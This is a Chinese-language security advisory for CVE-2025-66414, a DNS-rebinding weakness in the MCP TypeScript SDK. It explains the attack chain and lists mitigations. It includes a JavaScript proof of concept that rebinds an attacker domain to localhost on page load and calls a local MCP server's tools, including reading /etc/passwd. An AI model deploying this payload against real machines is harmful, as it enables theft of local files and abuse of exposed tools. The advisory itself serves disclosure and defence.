IPBUF安全漏洞报告
English
CVE-2025-66414 CVSS 8.1 高危

CVE-2025-66414 MCP TypeScript SDK DNS重绑定保护缺失漏洞

披露日期: 2025-12-02

漏洞信息

漏洞编号
CVE-2025-66414
漏洞类型
DNS重绑定攻击
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
MCP TypeScript SDK (Model Context Protocol TypeScript SDK)

相关标签

DNS重绑定MCP TypeScript SDKModel Context Protocol同源策略绕过HTTP服务器CVE-2025-66414高危漏洞

漏洞概述

CVE-2025-66414是Model Context Protocol (MCP) TypeScript SDK中的一个安全漏洞。该SDK是用于构建MCP服务器和客户端的官方TypeScript开发工具包。在1.24.0版本之前,当使用HTTP-based服务器(StreamableHTTPServerTransport或SSEServerTransport)且未显式启用DNS重绑定保护(enableDnsRebindingProtection)时,运行在localhost上的MCP服务器容易受到DNS重绑定攻击。由于HTTP服务器默认未启用DNS重绑定保护,恶意网站可以利用DNS重绑定技术绕过浏览器的同源策略安全限制,向本地MCP服务器发送请求。这可能导致攻击者在特定情况下代表用户调用MCP服务器暴露的工具或访问资源。值得注意的是,根据MCP安全最佳实践,不建议在本地运行无认证的HTTP-based MCP服务器。此漏洞不影响使用stdio传输协议的服务器。该问题已在1.24.0版本中得到修复。

技术细节

DNS重绑定攻击是一种绕过同源策略的技术,攻击者通过精心构造的域名将受害者浏览器引导至攻击者控制的DNS服务器。第一次DNS解析返回攻击者服务器的IP地址,后续请求时DNS TTL过期后返回内部网络地址(如127.0.0.1),从而绕过浏览器同源策略限制访问本地服务。在MCP TypeScript SDK中,当开发者使用StreamableHTTPServerTransport或SSEServerTransport创建HTTP服务器时,如果未显式设置enableDnsRebindingProtection为true,服务器不会验证请求来源的Host头部是否属于合法域名。攻击者可以注册一个恶意域名,配置DNS记录使其在短时间内从外部IP切换到127.0.0.1,诱使受害者访问该恶意页面后,浏览器会自动向本地MCP服务器发送请求。攻击者可通过JavaScript脚本利用fetch或XMLHttpRequest发起跨域请求,调用MCP服务器暴露的各种工具(如文件系统访问、命令执行等)。MCP协议支持多种功能调用,缺乏认证的服务器在遭受DNS重绑定攻击时将完全暴露其功能接口。

攻击链分析

STEP 1
步骤1
攻击者注册恶意域名并配置DNS服务器,设置极短的TTL值(如5秒)
STEP 2
步骤2
DNS初始解析返回攻击者控制的外网服务器IP地址,托管包含恶意JavaScript的网页
STEP 3
步骤3
诱使受害者访问恶意网页,浏览器执行JavaScript代码并发起对MCP服务器的请求
STEP 4
步骤4
DNS缓存过期后,再次解析返回127.0.0.1,浏览器认为请求仍发往同一域名(同源策略被绕过)
STEP 5
步骤5
恶意JavaScript利用fetch API向本地MCP服务器发送请求,调用服务器暴露的工具或访问敏感资源
STEP 6
步骤6
攻击者获取MCP服务器返回的工具调用结果,可能包括文件内容、命令执行输出等敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-66414 DNS Rebinding Attack PoC // Target: MCP TypeScript SDK HTTP Server on localhost without DNS rebinding protection // Step 1: Attacker sets up DNS server with short TTL // DNS configuration: // Initial A record: attacker-server-ip (port 80) // After TTL expires: 127.0.0.1 // Step 2: Malicious webpage const MALICIOUS_DOMAIN = 'attacker-controlled-domain.com'; async function attackMCP() { // Wait for DNS to switch to localhost await waitForDnsRebind(); // MCP server endpoint const mcpEndpoint = `http://${MALICIOUS_DOMAIN}/mcp`; // List available tools const toolsResponse = await fetch(mcpEndpoint, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ jsonrpc: '2.0', method: 'tools/list', id: 1 }) }); const tools = await toolsResponse.json(); console.log('Available tools:', tools); // Call a tool (e.g., file system access) await fetch(mcpEndpoint, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ jsonrpc: '2.0', method: 'tools/call', params: { name: 'read_file', arguments: {path: '/etc/passwd'} }, id: 2 }) }); } function waitForDnsRebind() { return new Promise(resolve => setTimeout(resolve, 5000)); // Wait for DNS cache expiration } // Start attack when page loads document.addEventListener('DOMContentLoaded', attackMCP);

影响范围

MCP TypeScript SDK < 1.24.0 (使用StreamableHTTPServerTransport或SSEServerTransport且未启用enableDnsRebindingProtection)

防御指南

临时缓解措施
在等待官方修复期间,可采取以下临时缓解措施:1) 为MCP HTTP服务器添加身份验证机制;2) 在服务器配置中显式启用DNS重绑定保护(enableDnsRebindingProtection: true);3) 使用localhost验证中间件检查请求的Host头部是否来自可信来源;4) 考虑使用stdio传输协议替代HTTP传输以避免网络攻击面;5) 限制MCP服务器暴露的工具和资源范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表